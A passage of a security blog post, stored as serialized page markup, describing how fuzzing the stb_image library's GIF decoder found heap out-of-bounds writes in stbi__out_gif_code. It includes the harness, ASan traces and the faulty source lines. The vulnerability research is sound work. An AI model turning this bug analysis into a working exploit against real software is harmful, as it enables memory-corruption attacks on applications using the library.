\"./stb/stb_image.h\"\n",{"type":20,"tag":315,"props":145708,"children":145709},{"class":317,"line":365},[145710],{"type":20,"tag":315,"props":145711,"children":145712},{"emptyLinePlaceholder":15},[145713],{"type":26,"value":427},{"type":20,"tag":315,"props":145715,"children":145716},{"class":317,"line":374},[145717,145721,145725,145729,145733,145738,145742,145747,145751,145756],{"type":20,"tag":315,"props":145718,"children":145719},{"style":541},[145720],{"type":26,"value":17451},{"type":20,"tag":315,"props":145722,"children":145723},{"style":345},[145724],{"type":26,"value":89038},{"type":20,"tag":315,"props":145726,"children":145727},{"style":328},[145728],{"type":26,"value":1049},{"type":20,"tag":315,"props":145730,"children":145731},{"style":541},[145732],{"type":26,"value":17451},{"type":20,"tag":315,"props":145734,"children":145735},{"style":635},[145736],{"type":26,"value":145737}," argc",{"type":20,"tag":315,"props":145739,"children":145740},{"style":328},[145741],{"type":26,"value":44},{"type":20,"tag":315,"props":145743,"children":145744},{"style":541},[145745],{"type":26,"value":145746},"char",{"type":20,"tag":315,"props":145748,"children":145749},{"style":334},[145750],{"type":26,"value":88139},{"type":20,"tag":315,"props":145752,"children":145753},{"style":635},[145754],{"type":26,"value":145755},"argv",{"type":20,"tag":315,"props":145757,"children":145758},{"style":328},[145759],{"type":26,"value":549},{"type":20,"tag":315,"props":145761,"children":145762},{"class":317,"line":383},[145763,145767],{"type":20,"tag":315,"props":145764,"children":145765},{"style":541},[145766],{"type":26,"value":17481},{"type":20,"tag":315,"props":145768,"children":145769},{"style":328},[145770],{"type":26,"value":145771}," x, y, comp;\n",{"type":20,"tag":315,"props":145773,"children":145774},{"class":317,"line":407},[145775,145780,145784,145788],{"type":20,"tag":315,"props":145776,"children":145777},{"style":541},[145778],{"type":26,"value":145779}," unsigned",{"type":20,"tag":315,"props":145781,"children":145782},{"style":541},[145783],{"type":26,"value":57302},{"type":20,"tag":315,"props":145785,"children":145786},{"style":334},[145787],{"type":26,"value":8216},{"type":20,"tag":315,"props":145789,"children":145790},{"style":328},[145791],{"type":26,"value":145792},"ret;\n",{"type":20,"tag":315,"props":145794,"children":145795},{"class":317,"line":421},[145796],{"type":20,"tag":315,"props":145797,"children":145798},{"emptyLinePlaceholder":15},[145799],{"type":26,"value":427},{"type":20,"tag":315,"props":145801,"children":145802},{"class":317,"line":430},[145803,145807,145812,145816,145820],{"type":20,"tag":315,"props":145804,"children":145805},{"style":525},[145806],{"type":26,"value":10680},{"type":20,"tag":315,"props":145808,"children":145809},{"style":328},[145810],{"type":26,"value":145811}," (argc ",{"type":20,"tag":315,"props":145813,"children":145814},{"style":334},[145815],{"type":26,"value":14089},{"type":20,"tag":315,"props":145817,"children":145818},{"style":765},[145819],{"type":26,"value":6330},{"type":20,"tag":315,"props":145821,"children":145822},{"style":328},[145823],{"type":26,"value":549},{"type":20,"tag":315,"props":145825,"children":145826},{"class":317,"line":453},[145827,145831,145835],{"type":20,"tag":315,"props":145828,"children":145829},{"style":525},[145830],{"type":26,"value":14145},{"type":20,"tag":315,"props":145832,"children":145833},{"style":765},[145834],{"type":26,"value":2916},{"type":20,"tag":315,"props":145836,"children":145837},{"style":328},[145838],{"type":26,"value":1405},{"type":20,"tag":315,"props":145840,"children":145841},{"class":317,"line":486},[145842],{"type":20,"tag":315,"props":145843,"children":145844},{"style":328},[145845],{"type":26,"value":1736},{"type":20,"tag":315,"props":145847,"children":145848},{"class":317,"line":499},[145849],{"type":20,"tag":315,"props":145850,"children":145851},{"emptyLinePlaceholder":15},[145852],{"type":26,"value":427},{"type":20,"tag":315,"props":145854,"children":145855},{"class":317,"line":513},[145856,145861,145865,145870,145874,145878,145882,145886,145890,145894,145899,145903,145908,145912,145917,145921],{"type":20,"tag":315,"props":145857,"children":145858},{"style":328},[145859],{"type":26,"value":145860}," ret ",{"type":20,"tag":315,"props":145862,"children":145863},{"style":334},[145864],{"type":26,"value":337},{"type":20,"tag":315,"props":145866,"children":145867},{"style":345},[145868],{"type":26,"value":145869}," stbi_load",{"type":20,"tag":315,"props":145871,"children":145872},{"style":328},[145873],{"type":26,"value":1049},{"type":20,"tag":315,"props":145875,"children":145876},{"style":635},[145877],{"type":26,"value":145755},{"type":20,"tag":315,"props":145879,"children":145880},{"style":328},[145881],{"type":26,"value":2117},{"type":20,"tag":315,"props":145883,"children":145884},{"style":765},[145885],{"type":26,"value":2406},{"type":20,"tag":315,"props":145887,"children":145888},{"style":328},[145889],{"type":26,"value":21465},{"type":20,"tag":315,"props":145891,"children":145892},{"style":334},[145893],{"type":26,"value":1490},{"type":20,"tag":315,"props":145895,"children":145896},{"style":328},[145897],{"type":26,"value":145898},"x, ",{"type":20,"tag":315,"props":145900,"children":145901},{"style":334},[145902],{"type":26,"value":1490},{"type":20,"tag":315,"props":145904,"children":145905},{"style":328},[145906],{"type":26,"value":145907},"y, ",{"type":20,"tag":315,"props":145909,"children":145910},{"style":334},[145911],{"type":26,"value":1490},{"type":20,"tag":315,"props":145913,"children":145914},{"style":328},[145915],{"type":26,"value":145916},"comp, ",{"type":20,"tag":315,"props":145918,"children":145919},{"style":765},[145920],{"type":26,"value":1063},{"type":20,"tag":315,"props":145922,"children":145923},{"style":328},[145924],{"type":26,"value":2214},{"type":20,"tag":315,"props":145926,"children":145927},{"class":317,"line":521},[145928,145932,145937,145941,145945],{"type":20,"tag":315,"props":145929,"children":145930},{"style":525},[145931],{"type":26,"value":10680},{"type":20,"tag":315,"props":145933,"children":145934},{"style":328},[145935],{"type":26,"value":145936}," (ret ",{"type":20,"tag":315,"props":145938,"children":145939},{"style":334},[145940],{"type":26,"value":538},{"type":20,"tag":315,"props":145942,"children":145943},{"style":541},[145944],{"type":26,"value":126028},{"type":20,"tag":315,"props":145946,"children":145947},{"style":328},[145948],{"type":26,"value":549},{"type":20,"tag":315,"props":145950,"children":145951},{"class":317,"line":552},[145952,145956,145960],{"type":20,"tag":315,"props":145953,"children":145954},{"style":525},[145955],{"type":26,"value":14145},{"type":20,"tag":315,"props":145957,"children":145958},{"style":765},[145959],{"type":26,"value":2916},{"type":20,"tag":315,"props":145961,"children":145962},{"style":328},[145963],{"type":26,"value":1405},{"type":20,"tag":315,"props":145965,"children":145966},{"class":317,"line":571},[145967],{"type":20,"tag":315,"props":145968,"children":145969},{"style":328},[145970],{"type":26,"value":1736},{"type":20,"tag":315,"props":145972,"children":145973},{"class":317,"line":2031},[145974],{"type":20,"tag":315,"props":145975,"children":145976},{"style":328},[145977],{"type":26,"value":60040},{"type":20,"tag":315,"props":145979,"children":145980},{"class":317,"line":2053},[145981,145986],{"type":20,"tag":315,"props":145982,"children":145983},{"style":345},[145984],{"type":26,"value":145985}," stbi_image_free",{"type":20,"tag":315,"props":145987,"children":145988},{"style":328},[145989],{"type":26,"value":145990},"(ret);\n",{"type":20,"tag":315,"props":145992,"children":145993},{"class":317,"line":2061},[145994],{"type":20,"tag":315,"props":145995,"children":145996},{"emptyLinePlaceholder":15},[145997],{"type":26,"value":427},{"type":20,"tag":315,"props":145999,"children":146000},{"class":317,"line":2070},[146001,146005,146009],{"type":20,"tag":315,"props":146002,"children":146003},{"style":525},[146004],{"type":26,"value":731},{"type":20,"tag":315,"props":146006,"children":146007},{"style":765},[146008],{"type":26,"value":985},{"type":20,"tag":315,"props":146010,"children":146011},{"style":328},[146012],{"type":26,"value":1405},{"type":20,"tag":315,"props":146014,"children":146015},{"class":317,"line":2139},[146016],{"type":20,"tag":315,"props":146017,"children":146018},{"style":328},[146019],{"type":26,"value":577},{"type":20,"tag":29,"props":146021,"children":146022},{},[146023],{"type":26,"value":146024},"And soon after starting the fuzzer it found an interesting bug:",{"type":20,"tag":305,"props":146026,"children":146028},{"code":146027},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n [...]\n #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n [...]\n",[146029],{"type":20,"tag":119,"props":146030,"children":146031},{"__ignoreMap":7},[146032],{"type":26,"value":146027},{"type":20,"tag":17297,"props":146034,"children":146036},{"id":146035},"investigating-the-finding",[146037],{"type":26,"value":146038},"Investigating the Finding",{"type":20,"tag":29,"props":146040,"children":146041},{},[146042,146044,146050,146051,146056],{"type":26,"value":146043},"The ASAN output shows that at line ",{"type":20,"tag":119,"props":146045,"children":146047},{"className":146046},[],[146048],{"type":26,"value":146049},"6233",{"type":26,"value":141550},{"type":20,"tag":119,"props":146052,"children":146054},{"className":146053},[],[146055],{"type":26,"value":145583},{"type":26,"value":146057}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":20,"tag":305,"props":146059,"children":146061},{"code":146060,"language":1528,"meta":7,"className":14916,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n stbi_uc *p, *c;\n int idx; \n\n [...]\n\n if (g->cur_y >= g->max_y) return;\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; // OOB write\n",[146062],{"type":20,"tag":119,"props":146063,"children":146064},{"__ignoreMap":7},[146065,146107,146114,146140,146153,146160,146168,146175,146229,146236,146282,146315],{"type":20,"tag":315,"props":146066,"children":146067},{"class":317,"line":318},[146068,146072,146076,146081,146086,146090,146094,146099,146103],{"type":20,"tag":315,"props":146069,"children":146070},{"style":541},[146071],{"type":26,"value":49296},{"type":20,"tag":315,"props":146073,"children":146074},{"style":541},[146075],{"type":26,"value":49301},{"type":20,"tag":315,"props":146077,"children":146078},{"style":345},[146079],{"type":26,"value":146080}," stbi__out_gif_code",{"type":20,"tag":315,"props":146082,"children":146083},{"style":328},[146084],{"type":26,"value":146085},"(stbi__gif ",{"type":20,"tag":315,"props":146087,"children":146088},{"style":334},[146089],{"type":26,"value":901},{"type":20,"tag":315,"props":146091,"children":146092},{"style":635},[146093],{"type":26,"value":107556},{"type":20,"tag":315,"props":146095,"children":146096},{"style":328},[146097],{"type":26,"value":146098},", stbi__uint16 ",{"type":20,"tag":315,"props":146100,"children":146101},{"style":635},[146102],{"type":26,"value":119},{"type":20,"tag":315,"props":146104,"children":146105},{"style":328},[146106],{"type":26,"value":380},{"type":20,"tag":315,"props":146108,"children":146109},{"class":317,"line":356},[146110],{"type":20,"tag":315,"props":146111,"children":146112},{"style":328},[146113],{"type":26,"value":723},{"type":20,"tag":315,"props":146115,"children":146116},{"class":317,"line":365},[146117,146122,146126,146131,146135],{"type":20,"tag":315,"props":146118,"children":146119},{"style":328},[146120],{"type":26,"value":146121}," stbi_uc ",{"type":20,"tag":315,"props":146123,"children":146124},{"style":334},[146125],{"type":26,"value":901},{"type":20,"tag":315,"props":146127,"children":146128},{"style":328},[146129],{"type":26,"value":146130},"p, ",{"type":20,"tag":315,"props":146132,"children":146133},{"style":334},[146134],{"type":26,"value":901},{"type":20,"tag":315,"props":146136,"children":146137},{"style":328},[146138],{"type":26,"value":146139},"c;\n",{"type":20,"tag":315,"props":146141,"children":146142},{"class":317,"line":374},[146143,146148],{"type":20,"tag":315,"props":146144,"children":146145},{"style":541},[146146],{"type":26,"value":146147}," int",{"type":20,"tag":315,"props":146149,"children":146150},{"style":328},[146151],{"type":26,"value":146152}," idx; \n",{"type":20,"tag":315,"props":146154,"children":146155},{"class":317,"line":383},[146156],{"type":20,"tag":315,"props":146157,"children":146158},{"emptyLinePlaceholder":15},[146159],{"type":26,"value":427},{"type":20,"tag":315,"props":146161,"children":146162},{"class":317,"line":407},[146163],{"type":20,"tag":315,"props":146164,"children":146165},{"style":328},[146166],{"type":26,"value":146167}," [...]\n",{"type":20,"tag":315,"props":146169,"children":146170},{"class":317,"line":421},[146171],{"type":20,"tag":315,"props":146172,"children":146173},{"emptyLinePlaceholder":15},[146174],{"type":26,"value":427},{"type":20,"tag":315,"props":146176,"children":146177},{"class":317,"line":430},[146178,146182,146186,146190,146194,146199,146203,146208,146212,146217,146221,146225],{"type":20,"tag":315,"props":146179,"children":146180},{"style":525},[146181],{"type":26,"value":50896},{"type":20,"tag":315,"props":146183,"children":146184},{"style":328},[146185],{"type":26,"value":463},{"type":20,"tag":315,"props":146187,"children":146188},{"style":635},[146189],{"type":26,"value":107556},{"type":20,"tag":315,"props":146191,"children":146192},{"style":328},[146193],{"type":26,"value":12158},{"type":20,"tag":315,"props":146195,"children":146196},{"style":635},[146197],{"type":26,"value":146198},"cur_y",{"type":20,"tag":315,"props":146200,"children":146201},{"style":334},[146202],{"type":26,"value":6698},{"type":20,"tag":315,"props":146204,"children":146205},{"style":635},[146206],{"type":26,"value":146207}," g",{"type":20,"tag":315,"props":146209,"children":146210},{"style":328},[146211],{"type":26,"value":12158},{"type":20,"tag":315,"props":146213,"children":146214},{"style":635},[146215],{"type":26,"value":146216},"max_y",{"type":20,"tag":315,"props":146218,"children":146219},{"style":328},[146220],{"type":26,"value":1468},{"type":20,"tag":315,"props":146222,"children":146223},{"style":525},[146224],{"type":26,"value":46708},{"type":20,"tag":315,"props":146226,"children":146227},{"style":328},[146228],{"type":26,"value":1405},{"type":20,"tag":315,"props":146230,"children":146231},{"class":317,"line":453},[146232],{"type":20,"tag":315,"props":146233,"children":146234},{"emptyLinePlaceholder":15},[146235],{"type":26,"value":427},{"type":20,"tag":315,"props":146237,"children":146238},{"class":317,"line":486},[146239,146244,146248,146252,146256,146261,146265,146269,146273,146277],{"type":20,"tag":315,"props":146240,"children":146241},{"style":328},[146242],{"type":26,"value":146243}," idx ",{"type":20,"tag":315,"props":146245,"children":146246},{"style":334},[146247],{"type":26,"value":337},{"type":20,"tag":315,"props":146249,"children":146250},{"style":635},[146251],{"type":26,"value":146207},{"type":20,"tag":315,"props":146253,"children":146254},{"style":328},[146255],{"type":26,"value":12158},{"type":20,"tag":315,"props":146257,"children":146258},{"style":635},[146259],{"type":26,"value":146260},"cur_x",{"type":20,"tag":315,"props":146262,"children":146263},{"style":334},[146264],{"type":26,"value":7301},{"type":20,"tag":315,"props":146266,"children":146267},{"style":635},[146268],{"type":26,"value":146207},{"type":20,"tag":315,"props":146270,"children":146271},{"style":328},[146272],{"type":26,"value":12158},{"type":20,"tag":315,"props":146274,"children":146275},{"style":635},[146276],{"type":26,"value":146198},{"type":20,"tag":315,"props":146278,"children":146279},{"style":328},[146280],{"type":26,"value":146281},"; \n",{"type":20,"tag":315,"props":146283,"children":146284},{"class":317,"line":499},[146285,146290,146294,146298,146302,146306,146310],{"type":20,"tag":315,"props":146286,"children":146287},{"style":328},[146288],{"type":26,"value":146289}," p ",{"type":20,"tag":315,"props":146291,"children":146292},{"style":334},[146293],{"type":26,"value":337},{"type":20,"tag":315,"props":146295,"children":146296},{"style":334},[146297],{"type":26,"value":5536},{"type":20,"tag":315,"props":146299,"children":146300},{"style":635},[146301],{"type":26,"value":107556},{"type":20,"tag":315,"props":146303,"children":146304},{"style":328},[146305],{"type":26,"value":12158},{"type":20,"tag":315,"props":146307,"children":146308},{"style":635},[146309],{"type":26,"value":116979},{"type":20,"tag":315,"props":146311,"children":146312},{"style":328},[146313],{"type":26,"value":146314},"[idx];\n",{"type":20,"tag":315,"props":146316,"children":146317},{"class":317,"line":513},[146318,146323,146327,146332,146337,146341,146345,146349,146353,146357,146361],{"type":20,"tag":315,"props":146319,"children":146320},{"style":635},[146321],{"type":26,"value":146322}," g",{"type":20,"tag":315,"props":146324,"children":146325},{"style":328},[146326],{"type":26,"value":12158},{"type":20,"tag":315,"props":146328,"children":146329},{"style":635},[146330],{"type":26,"value":146331},"history",{"type":20,"tag":315,"props":146333,"children":146334},{"style":328},[146335],{"type":26,"value":146336},"[idx ",{"type":20,"tag":315,"props":146338,"children":146339},{"style":334},[146340],{"type":26,"value":786},{"type":20,"tag":315,"props":146342,"children":146343},{"style":765},[146344],{"type":26,"value":10146},{"type":20,"tag":315,"props":146346,"children":146347},{"style":328},[146348],{"type":26,"value":7057},{"type":20,"tag":315,"props":146350,"children":146351},{"style":334},[146352],{"type":26,"value":337},{"type":20,"tag":315,"props":146354,"children":146355},{"style":765},[146356],{"type":26,"value":2916},{"type":20,"tag":315,"props":146358,"children":146359},{"style":328},[146360],{"type":26,"value":47325},{"type":20,"tag":315,"props":146362,"children":146363},{"style":1071},[146364],{"type":26,"value":146365}," // OOB write\n",{"type":20,"tag":29,"props":146367,"children":146368},{},[146369,146371,146376,146378,146384,146386,146392],{"type":26,"value":146370},"It’s reasonable to assume ",{"type":20,"tag":119,"props":146372,"children":146374},{"className":146373},[],[146375],{"type":26,"value":74775},{"type":26,"value":146377}," is outside the bounds of ",{"type":20,"tag":119,"props":146379,"children":146381},{"className":146380},[],[146382],{"type":26,"value":146383},"g->history",{"type":26,"value":146385},", which leads to a one-byte OOB write (",{"type":20,"tag":119,"props":146387,"children":146389},{"className":146388},[],[146390],{"type":26,"value":146391},"g->history[idx / 4] = 1",{"type":26,"value":146393},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":20,"tag":29,"props":146395,"children":146396},{},[146397,146399,146404,146406,146412,146414,146419,146421,146427,146429,146435],{"type":26,"value":146398},"Because ",{"type":20,"tag":119,"props":146400,"children":146402},{"className":146401},[],[146403],{"type":26,"value":29},{"type":26,"value":146405}," is computed from ",{"type":20,"tag":119,"props":146407,"children":146409},{"className":146408},[],[146410],{"type":26,"value":146411},"g->out[idx]",{"type":26,"value":146413}," immediately before the violation, we considered whether ",{"type":20,"tag":119,"props":146415,"children":146417},{"className":146416},[],[146418],{"type":26,"value":74775},{"type":26,"value":146420}," could also be OOB for ",{"type":20,"tag":119,"props":146422,"children":146424},{"className":146423},[],[146425],{"type":26,"value":146426},"g->out",{"type":26,"value":146428},". Note that computing the address ",{"type":20,"tag":119,"props":146430,"children":146432},{"className":146431},[],[146433],{"type":26,"value":146434},"&g->out[idx]",{"type":26,"value":146436}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":20,"tag":29,"props":146438,"children":146439},{},[146440,146442,146447],{"type":26,"value":146441},"If we comment out ",{"type":20,"tag":119,"props":146443,"children":146445},{"className":146444},[],[146446],{"type":26,"value":146391},{"type":26,"value":146448}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":20,"tag":305,"props":146450,"children":146452},{"code":146451},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n [...]\n",[146453],{"type":20,"tag":119,"props":146454,"children":146455},{"__ignoreMap":7},[146456],{"type":26,"value":146451},{"type":20,"tag":29,"props":146458,"children":146459},{},[146460],{"type":26,"value":146461},"This corresponds to:",{"type":20,"tag":305,"props":146463,"children":146465},{"code":146464,"language":1528,"meta":7,"className":14916,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n [...]\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; \n\n c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2]; // OOB write\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[146466],{"type":20,"tag":119,"props":146467,"children":146468},{"__ignoreMap":7},[146469,146508,146515,146522,146529,146572,146603,146647,146654,146722,146762,146807,146846,146885,146924],{"type":20,"tag":315,"props":146470,"children":146471},{"class":317,"line":318},[146472,146476,146480,146484,146488,146492,146496,146500,146504],{"type":20,"tag":315,"props":146473,"children":146474},{"style":541},[146475],{"type":26,"value":49296},{"type":20,"tag":315,"props":146477,"children":146478},{"style":541},[146479],{"type":26,"value":49301},{"type":20,"tag":315,"props":146481,"children":146482},{"style":345},[146483],{"type":26,"value":146080},{"type":20,"tag":315,"props":146485,"children":146486},{"style":328},[146487],{"type":26,"value":146085},{"type":20,"tag":315,"props":146489,"children":146490},{"style":334},[146491],{"type":26,"value":901},{"type":20,"tag":315,"props":146493,"children":146494},{"style":635},[146495],{"type":26,"value":107556},{"type":20,"tag":315,"props":146497,"children":146498},{"style":328},[146499],{"type":26,"value":146098},{"type":20,"tag":315,"props":146501,"children":146502},{"style":635},[146503],{"type":26,"value":119},{"type":20,"tag":315,"props":146505,"children":146506},{"style":328},[146507],{"type":26,"value":380},{"type":20,"tag":315,"props":146509,"children":146510},{"class":317,"line":356},[146511],{"type":20,"tag":315,"props":146512,"children":146513},{"style":328},[146514],{"type":26,"value":723},{"type":20,"tag":315,"props":146516,"children":146517},{"class":317,"line":365},[146518],{"type":20,"tag":315,"props":146519,"children":146520},{"style":328},[146521],{"type":26,"value":146167},{"type":20,"tag":315,"props":146523,"children":146524},{"class":317,"line":374},[146525],{"type":20,"tag":315,"props":146526,"children":146527},{"emptyLinePlaceholder":15},[146528],{"type":26,"value":427},{"type":20,"tag":315,"props":146530,"children":146531},{"class":317,"line":383},[146532,146536,146540,146544,146548,146552,146556,146560,146564,146568],{"type":20,"tag":315,"props":146533,"children":146534},{"style":328},[146535],{"type":26,"value":146243},{"type":20,"tag":315,"props":146537,"children":146538},{"style":334},[146539],{"type":26,"value":337},{"type":20,"tag":315,"props":146541,"children":146542},{"style":635},[146543],{"type":26,"value":146207},{"type":20,"tag":315,"props":146545,"children":146546},{"style":328},[146547],{"type":26,"value":12158},{"type":20,"tag":315,"props":146549,"children":146550},{"style":635},[146551],{"type":26,"value":146260},{"type":20,"tag":315,"props":146553,"children":146554},{"style":334},[146555],{"type":26,"value":7301},{"type":20,"tag":315,"props":146557,"children":146558},{"style":635},[146559],{"type":26,"value":146207},{"type":20,"tag":315,"props":146561,"children":146562},{"style":328},[146563],{"type":26,"value":12158},{"type":20,"tag":315,"props":146565,"children":146566},{"style":635},[146567],{"type":26,"value":146198},{"type":20,"tag":315,"props":146569,"children":146570},{"style":328},[146571],{"type":26,"value":146281},{"type":20,"tag":315,"props":146573,"children":146574},{"class":317,"line":407},[146575,146579,146583,146587,146591,146595,146599],{"type":20,"tag":315,"props":146576,"children":146577},{"style":328},[146578],{"type":26,"value":146289},{"type":20,"tag":315,"props":146580,"children":146581},{"style":334},[146582],{"type":26,"value":337},{"type":20,"tag":315,"props":146584,"children":146585},{"style":334},[146586],{"type":26,"value":5536},{"type":20,"tag":315,"props":146588,"children":146589},{"style":635},[146590],{"type":26,"value":107556},{"type":20,"tag":315,"props":146592,"children":146593},{"style":328},[146594],{"type":26,"value":12158},{"type":20,"tag":315,"props":146596,"children":146597},{"style":635},[146598],{"type":26,"value":116979},{"type":20,"tag":315,"props":146600,"children":146601},{"style":328},[146602],{"type":26,"value":146314},{"type":20,"tag":315,"props":146604,"children":146605},{"class":317,"line":421},[146606,146610,146614,146618,146622,146626,146630,146634,146638,146642],{"type":20,"tag":315,"props":146607,"children":146608},{"style":635},[146609],{"type":26,"value":146322},{"type":20,"tag":315,"props":146611,"children":146612},{"style":328},[146613],{"type":26,"value":12158},{"type":20,"tag":315,"props":146615,"children":146616},{"style":635},[146617],{"type":26,"value":146331},{"type":20,"tag":315,"props":146619,"children":146620},{"style":328},[146621],{"type":26,"value":146336},{"type":20,"tag":315,"props":146623,"children":146624},{"style":334},[146625],{"type":26,"value":786},{"type":20,"tag":315,"props":146627,"children":146628},{"style":765},[146629],{"type":26,"value":10146},{"type":20,"tag":315,"props":146631,"children":146632},{"style":328},[146633],{"type":26,"value":7057},{"type":20,"tag":315,"props":146635,"children":146636},{"style":334},[146637],{"type":26,"value":337},{"type":20,"tag":315,"props":146639,"children":146640},{"style":765},[146641],{"type":26,"value":2916},{"type":20,"tag":315,"props":146643,"children":146644},{"style":328},[146645],{"type":26,"value":146646},"; \n",{"type":20,"tag":315,"props":146648,"children":146649},{"class":317,"line":430},[146650],{"type":20,"tag":315,"props":146651,"children":146652},{"emptyLinePlaceholder":15},[146653],{"type":26,"value":427},{"type":20,"tag":315,"props":146655,"children":146656},{"class":317,"line":453},[146657,146662,146666,146670,146674,146678,146683,146687,146691,146695,146700,146705,146710,146714,146718],{"type":20,"tag":315,"props":146658,"children":146659},{"style":328},[146660],{"type":26,"value":146661}," c ",{"type":20,"tag":315,"props":146663,"children":146664},{"style":334},[146665],{"type":26,"value":337},{"type":20,"tag":315,"props":146667,"children":146668},{"style":334},[146669],{"type":26,"value":5536},{"type":20,"tag":315,"props":146671,"children":146672},{"style":635},[146673],{"type":26,"value":107556},{"type":20,"tag":315,"props":146675,"children":146676},{"style":328},[146677],{"type":26,"value":12158},{"type":20,"tag":315,"props":146679,"children":146680},{"style":635},[146681],{"type":26,"value":146682},"color_table",{"type":20,"tag":315,"props":146684,"children":146685},{"style":328},[146686],{"type":26,"value":2117},{"type":20,"tag":315,"props":146688,"children":146689},{"style":635},[146690],{"type":26,"value":107556},{"type":20,"tag":315,"props":146692,"children":146693},{"style":328},[146694],{"type":26,"value":12158},{"type":20,"tag":315,"props":146696,"children":146697},{"style":635},[146698],{"type":26,"value":146699},"codes",{"type":20,"tag":315,"props":146701,"children":146702},{"style":328},[146703],{"type":26,"value":146704},"[code].",{"type":20,"tag":315,"props":146706,"children":146707},{"style":635},[146708],{"type":26,"value":146709},"suffix",{"type":20,"tag":315,"props":146711,"children":146712},{"style":334},[146713],{"type":26,"value":8216},{"type":20,"tag":315,"props":146715,"children":146716},{"style":765},[146717],{"type":26,"value":10146},{"type":20,"tag":315,"props":146719,"children":146720},{"style":328},[146721],{"type":26,"value":29989},{"type":20,"tag":315,"props":146723,"children":146724},{"class":317,"line":486},[146725,146729,146733,146737,146741,146745,146749,146753,146758],{"type":20,"tag":315,"props":146726,"children":146727},{"style":525},[146728],{"type":26,"value":50896},{"type":20,"tag":315,"props":146730,"children":146731},{"style":328},[146732],{"type":26,"value":463},{"type":20,"tag":315,"props":146734,"children":146735},{"style":635},[146736],{"type":26,"value":1528},{"type":20,"tag":315,"props":146738,"children":146739},{"style":328},[146740],{"type":26,"value":2117},{"type":20,"tag":315,"props":146742,"children":146743},{"style":765},[146744],{"type":26,"value":15698},{"type":20,"tag":315,"props":146746,"children":146747},{"style":328},[146748],{"type":26,"value":7057},{"type":20,"tag":315,"props":146750,"children":146751},{"style":334},[146752],{"type":26,"value":8862},{"type":20,"tag":315,"props":146754,"children":146755},{"style":765},[146756],{"type":26,"value":146757}," 128",{"type":20,"tag":315,"props":146759,"children":146760},{"style":328},[146761],{"type":26,"value":549},{"type":20,"tag":315,"props":146763,"children":146764},{"class":317,"line":499},[146765,146770,146774,146778,146782,146786,146790,146794,146798,146802],{"type":20,"tag":315,"props":146766,"children":146767},{"style":635},[146768],{"type":26,"value":146769}," p",{"type":20,"tag":315,"props":146771,"children":146772},{"style":328},[146773],{"type":26,"value":2117},{"type":20,"tag":315,"props":146775,"children":146776},{"style":765},[146777],{"type":26,"value":1063},{"type":20,"tag":315,"props":146779,"children":146780},{"style":328},[146781],{"type":26,"value":7057},{"type":20,"tag":315,"props":146783,"children":146784},{"style":334},[146785],{"type":26,"value":337},{"type":20,"tag":315,"props":146787,"children":146788},{"style":635},[146789],{"type":26,"value":35861},{"type":20,"tag":315,"props":146791,"children":146792},{"style":328},[146793],{"type":26,"value":2117},{"type":20,"tag":315,"props":146795,"children":146796},{"style":765},[146797],{"type":26,"value":1504},{"type":20,"tag":315,"props":146799,"children":146800},{"style":328},[146801],{"type":26,"value":54164},{"type":20,"tag":315,"props":146803,"children":146804},{"style":1071},[146805],{"type":26,"value":146806}," // OOB write\n",{"type":20,"tag":315,"props":146808,"children":146809},{"class":317,"line":513},[146810,146814,146818,146822,146826,146830,146834,146838,146842],{"type":20,"tag":315,"props":146811,"children":146812},{"style":635},[146813],{"type":26,"value":146769},{"type":20,"tag":315,"props":146815,"children":146816},{"style":328},[146817],{"type":26,"value":2117},{"type":20,"tag":315,"props":146819,"children":146820},{"style":765},[146821],{"type":26,"value":2406},{"type":20,"tag":315,"props":146823,"children":146824},{"style":328},[146825],{"type":26,"value":7057},{"type":20,"tag":315,"props":146827,"children":146828},{"style":334},[146829],{"type":26,"value":337},{"type":20,"tag":315,"props":146831,"children":146832},{"style":635},[146833],{"type":26,"value":35861},{"type":20,"tag":315,"props":146835,"children":146836},{"style":328},[146837],{"type":26,"value":2117},{"type":20,"tag":315,"props":146839,"children":146840},{"style":765},[146841],{"type":26,"value":2406},{"type":20,"tag":315,"props":146843,"children":146844},{"style":328},[146845],{"type":26,"value":29989},{"type":20,"tag":315,"props":146847,"children":146848},{"class":317,"line":521},[146849,146853,146857,146861,146865,146869,146873,146877,146881],{"type":20,"tag":315,"props":146850,"children":146851},{"style":635},[146852],{"type":26,"value":146769},{"type":20,"tag":315,"props":146854,"children":146855},{"style":328},[146856],{"type":26,"value":2117},{"type":20,"tag":315,"props":146858,"children":146859},{"style":765},[146860],{"type":26,"value":1504},{"type":20,"tag":315,"props":146862,"children":146863},{"style":328},[146864],{"type":26,"value":7057},{"type":20,"tag":315,"props":146866,"children":146867},{"style":334},[146868],{"type":26,"value":337},{"type":20,"tag":315,"props":146870,"children":146871},{"style":635},[146872],{"type":26,"value":35861},{"type":20,"tag":315,"props":146874,"children":146875},{"style":328},[146876],{"type":26,"value":2117},{"type":20,"tag":315,